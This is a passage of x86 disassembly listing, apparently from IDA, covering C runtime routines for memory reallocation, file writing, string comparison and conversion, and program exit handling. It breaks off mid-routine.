loc_4193F0:				; CODE XREF: sub_4192B8+11Fj
		mov	eax, [ebp+arg_10]
		test	eax, eax
		jz	short loc_4193FA
		and	byte ptr [eax],	0

loc_4193FA:				; CODE XREF: sub_4192B8+FCj
					; sub_4192B8+118j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4192B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4193FF	proc near		; CODE XREF: sub_40BFE1+19p
					; sub_40D633+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_419E38
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41943D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41944A
; ---------------------------------------------------------------------------

loc_41943D:				; CODE XREF: sub_4193FF+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_419D23
		pop	ecx
		pop	ecx

loc_41944A:				; CODE XREF: sub_4193FF+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4193FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41944F	proc near		; CODE XREF: sub_40C259+2Ep
					; sub_418603+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41946A
		push	[ebp+arg_4]
		call	sub_417B89
		pop	ecx
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41946A:				; CODE XREF: sub_41944F+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41947F
		push	[ebp+arg_0]
		call	sub_417C3B
		pop	ecx
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_41947F:				; CODE XREF: sub_41944F+20j
		mov	eax, dword_4CF028
		cmp	eax, 3
		jnz	loc_41958F

loc_41948D:				; CODE XREF: sub_41944F+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41956B
		push	[ebp+arg_0]
		call	sub_41AD89
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_419546
		cmp	esi, dword_4CF020
		ja	short loc_4194FF
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41B592
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4194FB
		push	esi
		call	sub_41B0DD
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_4194FF
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_4194DF
		mov	eax, esi

loc_4194DF:				; CODE XREF: sub_41944F+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_417390
		push	ebx
		call	sub_41AD89
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41ADB4
		add	esp, 18h

loc_4194FB:				; CODE XREF: sub_41944F+74j
		test	edi, edi
		jnz	short loc_419542

loc_4194FF:				; CODE XREF: sub_41944F+62j
					; sub_41944F+81j
		test	esi, esi
		jnz	short loc_419506
		push	1
		pop	esi

loc_419506:				; CODE XREF: sub_41944F+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2720000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_419542
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41952E
		mov	eax, esi

loc_41952E:				; CODE XREF: sub_41944F+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_417390
		push	[ebp+arg_0]
		push	ebx
		call	sub_41ADB4
		add	esp, 14h

loc_419542:				; CODE XREF: sub_41944F+AEj
					; sub_41944F+D0j
		test	ebx, ebx
		jnz	short loc_419567

loc_419546:				; CODE XREF: sub_41944F+56j
		test	esi, esi
		jnz	short loc_41954D
		push	1
		pop	esi

loc_41954D:				; CODE XREF: sub_41944F+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2840000h
		mov	edi, eax

loc_419567:				; CODE XREF: sub_41944F+F5j
		test	edi, edi
		jnz	short loc_419588

loc_41956B:				; CODE XREF: sub_41944F+43j
		cmp	dword_4CDA14, 0
		jz	short loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_41948D
		jmp	loc_4196E8
; ---------------------------------------------------------------------------

loc_419588:				; CODE XREF: sub_41944F+11Aj
					; sub_41944F+123j ...
		mov	eax, edi
		jmp	loc_4196EA
; ---------------------------------------------------------------------------

loc_41958F:				; CODE XREF: sub_41944F+38j
		cmp	eax, 2
		jnz	loc_4196AA
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4195AC
		test	esi, esi
		jbe	short loc_4195A9
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_4195AC
; ---------------------------------------------------------------------------

loc_4195A9:				; CODE XREF: sub_41944F+150j
		push	10h
		pop	esi

loc_4195AC:				; CODE XREF: sub_41944F+14Cj
					; sub_41944F+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41968C
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41BAE4
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_419670
		cmp	esi, dword_435EB4
		jnb	short loc_419634
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BEAC
		add	esp, 10h
		test	eax, eax
		jz	short loc_4195FA
		mov	edi, [ebp+arg_0]
		jmp	short loc_41962C
; ---------------------------------------------------------------------------

loc_4195FA:				; CODE XREF: sub_41944F+1A4j
		push	edi
		call	sub_41BB80
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_419634
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419613
		mov	eax, esi

loc_419613:				; CODE XREF: sub_41944F+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h

loc_41962C:				; CODE XREF: sub_41944F+1A9j
		test	edi, edi
		jnz	loc_419588

loc_419634:				; CODE XREF: sub_41944F+18Bj
					; sub_41944F+1B6j
		push	esi
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2720000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41968C
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_419655
		mov	eax, esi

loc_419655:				; CODE XREF: sub_41944F+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_417390
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41BB3B
		add	esp, 18h
		jmp	short loc_419684
; ---------------------------------------------------------------------------

loc_419670:				; CODE XREF: sub_41944F+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2840000h
		mov	edi, eax

loc_419684:				; CODE XREF: sub_41944F+21Fj
		test	edi, edi
		jnz	loc_419588

loc_41968C:				; CODE XREF: sub_41944F+162j
					; sub_41944F+1F8j
		cmp	dword_4CDA14, 0
		jz	loc_419588
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	loc_4195AC
		jmp	short loc_4196E8
; ---------------------------------------------------------------------------

loc_4196AA:				; CODE XREF: sub_41944F+143j
					; sub_41944F+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_4196D4
		test	esi, esi
		jnz	short loc_4196B8
		push	1
		pop	esi

loc_4196B8:				; CODE XREF: sub_41944F+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4CF024
		nop
		call	near ptr 2840000h
		test	eax, eax
		jnz	short loc_4196EA

loc_4196D4:				; CODE XREF: sub_41944F+260j
		cmp	dword_4CDA14, 0
		jz	short loc_4196EA
		push	esi
		call	sub_41AB54
		test	eax, eax
		pop	ecx
		jnz	short loc_4196AA

loc_4196E8:				; CODE XREF: sub_41944F+2Bj
					; sub_41944F+134j ...
		xor	eax, eax

loc_4196EA:				; CODE XREF: sub_41944F+16j
					; sub_41944F+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41944F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4196EF	proc near		; CODE XREF: sub_40C8B4+127p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_419713
		xor	eax, eax
		jmp	loc_4197E0
; ---------------------------------------------------------------------------

loc_419713:				; CODE XREF: sub_4196EF+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_419726
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41972D
; ---------------------------------------------------------------------------

loc_419726:				; CODE XREF: sub_4196EF+2Dj
		mov	[ebp+arg_C], 1000h

loc_41972D:				; CODE XREF: sub_4196EF+35j
					; sub_4196EF+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_419761
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_419761
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_419747
		mov	edi, eax

loc_419747:				; CODE XREF: sub_4196EF+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_417390
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_4197A7
; ---------------------------------------------------------------------------

loc_419761:				; CODE XREF: sub_4196EF+47j
					; sub_4196EF+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_4197AC
		test	ecx, ecx
		jz	short loc_419775
		push	esi
		call	sub_41A7D0
		test	eax, eax
		pop	ecx
		jnz	short loc_4197EE

loc_419775:				; CODE XREF: sub_4196EF+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_419788
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41978A
; ---------------------------------------------------------------------------

loc_419788:				; CODE XREF: sub_4196EF+8Aj
		mov	edi, ebx

loc_41978A:				; CODE XREF: sub_4196EF+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_41ED97
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4197E5
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_4197E5

loc_4197A7:				; CODE XREF: sub_4196EF+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_4197D5
; ---------------------------------------------------------------------------

loc_4197AC:				; CODE XREF: sub_4196EF+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_419D23
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_4197EE
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_4197D5
		mov	[ebp+arg_C], 1

loc_4197D5:				; CODE XREF: sub_4196EF+BBj
					; sub_4196EF+DDj
		test	ebx, ebx
		jnz	loc_41972D
		mov	eax, [ebp+arg_8]

loc_4197E0:				; CODE XREF: sub_4196EF+1Fj
					; sub_4196EF+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4197E5:				; CODE XREF: sub_4196EF+ADj
					; sub_4196EF+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_4197F0
; ---------------------------------------------------------------------------

loc_4197EE:				; CODE XREF: sub_4196EF+84j
					; sub_4196EF+CFj
		mov	eax, edi

loc_4197F0:				; CODE XREF: sub_4196EF+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_4197E0
sub_4196EF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4197F9	proc near		; CODE XREF: sub_40D000+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		nop
		call	near ptr 26A02F2h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_419819
		nop
		call	near ptr 2660AEBh
		push	eax
		call	sub_41EF44
		pop	ecx

loc_419815:				; CODE XREF: sub_4197F9+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419819:				; CODE XREF: sub_4197F9+Dj
		test	al, 1
		jz	short loc_41983A
		test	[esp+arg_4], 2
		jz	short loc_41983A
		mov	dword_4CD9B4, 0Dh
		mov	dword_4CD9B8, 5
		jmp	short loc_419815
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4197F9+22j
					; sub_4197F9+29j
		xor	eax, eax
		retn
sub_4197F9	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_419840	proc near		; CODE XREF: sub_40D12A+5Fp
					; sub_40D12A+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_419861
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx

loc_419861:				; CODE XREF: sub_419840+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41987D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx

loc_41987D:				; CODE XREF: sub_419840+27j
		or	eax, eax
		jnz	short loc_419899
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_4198DA
; ---------------------------------------------------------------------------

loc_419899:				; CODE XREF: sub_419840+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]

loc_4198A7:				; CODE XREF: sub_419840+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_4198A7
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_4198D5
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_4198D5
		jb	short loc_4198D6
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_4198D6

loc_4198D5:				; CODE XREF: sub_419840+85j
					; sub_419840+8Bj
		dec	esi

loc_4198D6:				; CODE XREF: sub_419840+8Dj
					; sub_419840+93j
		xor	edx, edx
		mov	eax, esi

loc_4198DA:				; CODE XREF: sub_419840+57j
		dec	edi
		jnz	short loc_4198E4
		neg	edx
		neg	eax
		sbb	edx, 0

loc_4198E4:				; CODE XREF: sub_419840+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_419840	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4198F0	proc near		; CODE XREF: sub_40D48D+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_41993C
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_41993D
		test	eax, 1
		jz	short loc_41991D
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_41996A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_41993A

loc_41991D:				; CODE XREF: sub_4198F0+20j
					; sub_4198F0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_41996A
		mov	cl, [esi+1]
		mov	dl, [edi+1]
		cmp	cl, dl
		jnz	short loc_41996A
		add	edi, 2
		add	esi, 2
		sub	eax, 2
		jnz	short loc_41991D

loc_41993A:				; CODE XREF: sub_4198F0+2Bj
					; sub_4198F0+84j
		pop	edi
		pop	esi

locret_41993C:				; CODE XREF: sub_4198F0+6j
		retn
; ---------------------------------------------------------------------------

loc_41993D:				; CODE XREF: sub_4198F0+19j
		mov	ecx, eax
		and	eax, 3
		shr	ecx, 2
		jz	short loc_419972
		repe cmpsd
		jz	short loc_419972
		mov	ecx, [esi-4]
		mov	edx, [edi-4]
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh
		jnz	short loc_419965
		shr	ecx, 10h
		shr	edx, 10h
		cmp	cl, dl
		jnz	short loc_419965
		cmp	ch, dh

loc_419965:				; CODE XREF: sub_4198F0+63j
					; sub_4198F0+67j ...
		mov	eax, 0

loc_41996A:				; CODE XREF: sub_4198F0+26j
					; sub_4198F0+33j ...
		sbb	eax, eax
		pop	edi
		sbb	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198F0+55j
					; sub_4198F0+59j
		test	eax, eax
		jz	short loc_41993A
		mov	edx, [esi]
		mov	ecx, [edi]
		cmp	dl, cl
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		cmp	dh, ch
		jnz	short loc_419965
		dec	eax
		jz	short loc_419999
		and	ecx, 0FF0000h
		and	edx, 0FF0000h
		cmp	edx, ecx
		jnz	short loc_419965
		dec	eax

loc_419999:				; CODE XREF: sub_4198F0+8Fj
					; sub_4198F0+96j
		pop	edi
		pop	esi
		retn
sub_4198F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41999C	proc near		; CODE XREF: sub_40E5EB+55p
					; sub_415F88+236p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		cmp	word ptr [ecx],	0
		lea	eax, [ecx+2]
		jz	short loc_4199B3

loc_4199A9:				; CODE XREF: sub_41999C+15j
		mov	dx, [eax]
		inc	eax
		inc	eax
		test	dx, dx
		jnz	short loc_4199A9

loc_4199B3:				; CODE XREF: sub_41999C+Bj
		sub	eax, ecx
		sar	eax, 1
		dec	eax
		retn
sub_41999C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4199B9	proc near		; CODE XREF: sub_40E5EB+19p
					; sub_40E5EB+49p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		push	ebx
		push	esi
		xor	esi, esi
		xor	eax, eax
		cmp	edx, esi
		push	edi
		jz	loc_419A86
		mov	edi, [ebp+arg_8]
		cmp	edi, esi
		jz	loc_419AB3
		cmp	dword_4CDA48, esi
		jnz	short loc_419A0A
		cmp	edi, esi
		jbe	loc_419AB3

loc_4199E9:				; CODE XREF: sub_4199B9+4Aj
		mov	ecx, [ebp+arg_4]
		add	ecx, eax
		movzx	si, byte ptr [ecx]
		mov	[edx], si
		cmp	byte ptr [ecx],	0
		jz	loc_419AB3
		inc	eax
		inc	edx
		inc	edx
		cmp	eax, edi
		jb	short loc_4199E9
		jmp	loc_419AB3
; ---------------------------------------------------------------------------

loc_419A0A:				; CODE XREF: sub_4199B9+26j
		mov	ebx, [ebp+arg_4]
		mov	esi, dword_424070
		push	edi
		push	edx
		push	0FFFFFFFFh
		push	ebx
		push	9
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jnz	loc_419AB2
		call	near ptr 2660AEBh
		nop
		cmp	eax, 7Ah
		jz	short loc_419A44

loc_419A35:				; CODE XREF: sub_4199B9+CBj
					; sub_4199B9+F7j
		mov	dword_4CD9B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A44:				; CODE XREF: sub_4199B9+7Aj
		lea	ecx, [edi-1]
		mov	eax, ebx
		mov	[ebp+arg_4], ecx

loc_419A4C:				; CODE XREF: sub_4199B9+B3j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_419A6E
		mov	edx, off_433C70
		movzx	ecx, cl
		test	byte ptr [edx+ecx*2+1],	80h
		jz	short loc_419A63
		inc	eax

loc_419A63:				; CODE XREF: sub_4199B9+A7j
		mov	ecx, [ebp+arg_4]
		inc	eax
		dec	[ebp+arg_4]
		test	ecx, ecx
		jnz	short loc_419A4C

loc_419A6E:				; CODE XREF: sub_4199B9+97j
		push	edi
		sub	eax, ebx
		push	[ebp+arg_0]
		push	eax
		push	ebx
		push	1
		push	dword_4CDA58
		call	esi
		test	eax, eax
		jnz	short loc_419AB3
		jmp	short loc_419A35
; ---------------------------------------------------------------------------

loc_419A86:				; CODE XREF: sub_4199B9+Fj
		cmp	dword_4CDA48, esi
		jnz	short loc_419A99
		push	[ebp+arg_4]
		call	sub_417AB0
		pop	ecx
		jmp	short loc_419AB3
; ---------------------------------------------------------------------------

loc_419A99:				; CODE XREF: sub_4199B9+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4CDA58
		nop
		call	near ptr 2630000h
		cmp	eax, esi
		jz	short loc_419A35

loc_419AB2:				; CODE XREF: sub_4199B9+6Bj
		dec	eax

loc_419AB3:				; CODE XREF: sub_4199B9+1Aj
					; sub_4199B9+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4199B9	endp

; ---------------------------------------------------------------------------
		mov	eax, off_433C3C
		test	eax, eax
		jz	short loc_419AC3
		call	eax ; sub_417D73

loc_419AC3:				; CODE XREF: ___:00419ABFj
		push	offset dword_426028
		push	offset dword_426014
		call	sub_419BA0
		push	offset dword_426010
		push	offset dword_426000
		call	sub_419BA0
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		push	0
		push	0
		push	dword ptr [esp+0Ch]
		call	sub_419B07
		add	esp, 0Ch
		retn

; =============== S U B	R O U T	I N E =======================================



sub_419AF6	proc near		; CODE XREF: sub_419CDA+1Cp
					; sub_41D4FC+3438p ...

arg_0		= dword	ptr  4

		push	0
		push	1
		push	[esp+8+arg_0]
		call	sub_419B07
		add	esp, 0Ch
		retn
sub_419AF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_419B07	proc near		; CODE XREF: ___:00419AEDp
					; sub_419AF6+8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		push	1
		pop	edi
		cmp	dword_4CD9FC, edi
		jnz	short loc_419B24
		push	[esp+4+arg_0]
		call	near ptr 27A0951h
		nop
		push	eax
		nop
		call	near ptr 27F0AC7h

loc_419B24:				; CODE XREF: sub_419B07+Aj
		cmp	[esp+4+arg_4], 0
		push	ebx
		mov	ebx, [esp+8+arg_8]
		mov	dword_4CD9F8, edi
		mov	byte_4CD9F4, bl
		jnz	short loc_419B78
		mov	eax, dword_4CF03C
		test	eax, eax
		jz	short loc_419B67
		mov	ecx, dword_4CF038
		push	esi
		lea	esi, [ecx-4]
		cmp	esi, eax
		jb	short loc_419B66

loc_419B53:				; CODE XREF: sub_419B07+5Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419B5B
		call	eax

loc_419B5B:				; CODE XREF: sub_419B07+50j
		sub	esi, 4
		cmp	esi, dword_4CF03C
		jnb	short loc_419B53

loc_419B66:				; CODE XREF: sub_419B07+4Aj
		pop	esi

loc_419B67:				; CODE XREF: sub_419B07+3Cj
		push	offset dword_426034
		push	offset dword_42602C
		call	sub_419BA0
		pop	ecx
		pop	ecx

loc_419B78:				; CODE XREF: sub_419B07+33j
		push	offset dword_426040
		push	offset dword_426038
		call	sub_419BA0
		pop	ecx
		pop	ecx
		test	ebx, ebx
		pop	ebx
		jnz	short loc_419B9E
		push	[esp+4+arg_0]
		mov	dword_4CD9FC, edi
		call	near ptr 77E75CB5h
		nop

loc_419B9E:				; CODE XREF: sub_419B07+85j
		pop	edi
		retn
sub_419B07	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BA0	proc near		; CODE XREF: ___:00419ACDp
					; ___:00419ADCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]

loc_419BA5:				; CODE XREF: sub_419BA0+16j
		cmp	esi, [esp+4+arg_4]
		jnb	short loc_419BB8
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_419BB3
		call	eax

loc_419BB3:				; CODE XREF: sub_419BA0+Fj
		add	esi, 4
		jmp	short loc_419BA5
; ---------------------------------------------------------------------------

loc_419BB8:				; CODE XREF: sub_419BA0+9j
		pop	esi
		retn
sub_419BA0	endp


; =============== S U B	R O U T	I N E =======================================



sub_419BBA	proc near		; CODE XREF: sub_40EE72+2BBBp

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	near ptr 27E0C9Bh
		nop
		test	eax, eax
		jnz	short loc_419BD0
		nop
		call	near ptr 2660AEBh
		jmp	short loc_419BD2
; ---------------------------------------------------------------------------

loc_419BD0:				; CODE XREF: sub_419BBA+Cj
		xor	eax, eax

loc_419BD2:				; CODE XREF: sub_419BBA+14j
		test	eax, eax
		jz	short loc_419BE1
		push	eax
		call	sub_41EF44
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_419BE1:				; CODE XREF: sub_419BBA+1Aj
		xor	eax, eax
		retn
sub_419BBA	endp

; ---------------------------------------------------------------------------
		dd 895216F0h, 0AD2567A1h, 0E30CCB58h, 645E78AEh, 0A1h
		dd 89645000h, 25h, 58EC8300h, 89575653h, 0E890E865h, 2437E3Ch
		dd 0D48AD233h, 0D9CC1589h, 0C88B004Ch, 0FFE181h, 0D890000h
		dd 4CD9C8h, 308E1C1h, 0C40D89CAh, 0C1004CD9h, 0C0A310E8h
		dd 33004CD9h, 0A1E856F6h, 59000010h, 875C085h, 0B0E81C6Ah
		dd 59000000h, 0E8FC7589h, 5967h, 437DC1E8h, 2CA39002h
		dd 0E8004CF0h, 5825h, 4CDA00A3h, 55CEE800h, 10E80000h
		dd 0E8000055h, 0FFFFFE3Ch, 8DD07589h, 9050A445h, 436377E8h
		dd 54A1E802h, 45890000h, 0D045F69Ch, 0F067401h,	0EBD445B7h
		dd 580A6A03h, 9C75FF50h, 0E8905656h, 2316EBEh, 49F7E850h
		dd 4589FFFFh, 2AE850A0h, 8BFFFFFEh, 88BEC45h, 4D89098Bh
		dd 0E8515098h, 52DFh, 8BC35959h, 75FFE865h, 0FE1CE898h
		db 2 dup(0FFh)

; =============== S U B	R O U T	I N E =======================================



sub_419CDA	proc near		; CODE XREF: sub_418682+16p
					; ___:0041F1D5p ...

arg_0		= dword	ptr  4

		cmp	dword_4CDA08, 1
		jnz	short loc_419CE8
		call	sub_41F84C

loc_419CE8:				; CODE XREF: sub_419CDA+7j
		push	[esp+arg_0]
		call	sub_41F885
		push	0FFh
		call	off_433C60
		pop	ecx
		pop	ecx
		retn
sub_419CDA	endp

; ---------------------------------------------------------------------------
		db 83h
		dd 4CDA083Dh, 5750100h,	5B3FE8h, 2474FF00h, 5B6FE804h
		dd 68590000h, 0FFh, 0BF93E890h
		db 0A5h, 77h, 0C3h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D23	proc near		; CODE XREF: sub_4172B0+46p
					; sub_41782A+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_419E2C
		test	al, 40h
		jnz	loc_419E2C
		test	al, 1
		jz	short loc_419D5B
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_419E2C
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax

